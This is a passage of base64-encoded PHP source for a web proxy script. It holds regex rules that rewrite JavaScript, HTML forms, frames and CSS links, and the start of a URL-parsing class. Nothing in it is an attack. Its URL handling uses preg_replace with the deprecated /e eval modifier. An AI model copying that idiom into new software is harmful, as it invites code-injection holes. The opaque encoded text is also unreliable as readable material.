JdKSkiOw0KJGpzZW5kPSIoPz17JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7DQokbm90anNlbmQ9Iig/IXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9wZXJhbmRzfVtcblxyXSkpIjsNCiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtcIT1dPSl7JGFueXNwYWNlfSkiOw0KLy8kanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XG5cclwoXCk9XCtcLVwvXCpdKXskYW55c3BhY2V9KSI7DQokanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XChcKT1cK1wtXC9cKl0peyRqdXN0c3BhY2V9KSI7DQoNCiRodG1sbm9xdW90PScoPzpbXiJcJ1xcXFxdW14+IF0qKSc7DQokaHRtbG5vcXVvdG5vcW09Jyg/OlteXD8iXCdcXFxcXVteXD8+IF0qKSc7DQokaHRtbHJlZz0iKHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7DQokeG1saHR0cHJlcT0iKD86WE1MSHR0cFJlcXVlc3R7JGFueXNwYWNlfSg/OlwoeyRhbnlzcGFjZX1cKXwpfEFjdGl2ZVhPYmplY3R7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX1bXlwpXStcLlhNTEhUVFBbJ1wiXXskYW55c3BhY2V9XCkpKD89OykiOw0KJGpzbmV3b2JqPSIoPzp7JGFueXNwYWNlfW5ld3skcGx1c3NwYWNlfXx7JGFueXNwYWNlfSkiOw0KJGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIpP3Bvc3QpW14+XSkiOw0KJGZyYW1ldGFyZ2V0cz0nXyg/OnRvcHxwYXJlbnR8c2VsZiknOw0KDQokanNfc3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVBdHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxzcGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJDYXNlfHRvU291cmNlfHZhbHVlT2YpJzsNCiRqc19zdHJpbmdfYXR0cnM9Jyg/OmNvbnN0cnVjdG9yfGxlbmd0aHxwcm90b3R5cGUpJzsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBKQVZBU0NSSVBUIFBBUlNJTkcge3t7DQoNCiRqc19yZWdleHBfYXJyYXlzPWFycmF5KA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRhdHRyc30peyRhbnlzcGFjZX1cKz0vaSIsJ1wxXDIuXDM9Jy5DT09LX1BSRUYuJy5nZXRBdHRyKFwyLC9cMy8pKycpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3BhY2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2VuZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyksDQoJYXJyYXkoMSwyLCIveyRqc2JlZ2lucmlnaHR9KHskanN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KShbXlwuPWEtejAtOV9cW1xdXHRcclxuXXxcLnskanNfc3RyaW5nX21ldGhvZHN9XCh8XC57JGpzX3N0cmluZ19hdHRyc317JG5vdGpzdmFyc2VjdH0pL2kiLCdcMScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKVw0JyksDQoNCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFwzKSknKSwNCglhcnJheSgxLDIsIi8oW15hLXowLTldKWV2YWx7JGFueXNwYWNlfVwoKHskYW55c3BhY2V9eyRqc3Zhcm9ian0pXCkvaSIsJ1wxZXZhbCgnLkNPT0tfUFJFRi4nLnBhcnNlX2FsbF9odG1sKFwyLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKSknKSwNCg0KCWFycmF5KDEsMiwiL3skanNiZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwNCgkvL2FycmF5KDEsMiwiL3skanNiZWdpbn0oXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oXCJ8JykoeyRqc2F0dHJzfSkoXFwyKXskYW55c3BhY2V9LHskYW55c3BhY2V9KSguKj8peyRqc2VuZH0vaSIsJ1wxXDInLkNPT0tfUFJFRi4nLnN1cnJvZ2FmeV91cmwoXDYpJyksDQoJLy9hcnJheSgxLDIsIi97JGpzYmVnaW59KFwuc2V0QXR0cmlidXRleyRhbnlzcGFjZX1cKHskYW55c3BhY2V9KFwifCcpKHskanNhdHRyc30pKFxcMil7JGFueXNwYWNlfSx7JGFueXNwYWNlfSkoLio/KXskanNlbmR9L2kiLCdcMVwyJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFw2KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVvdGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oW15cIHs+XHRcclxuPTtdK3skYW55c3BhY2V9PSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNjtcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJcIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKEVOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwYXNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCRwYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZX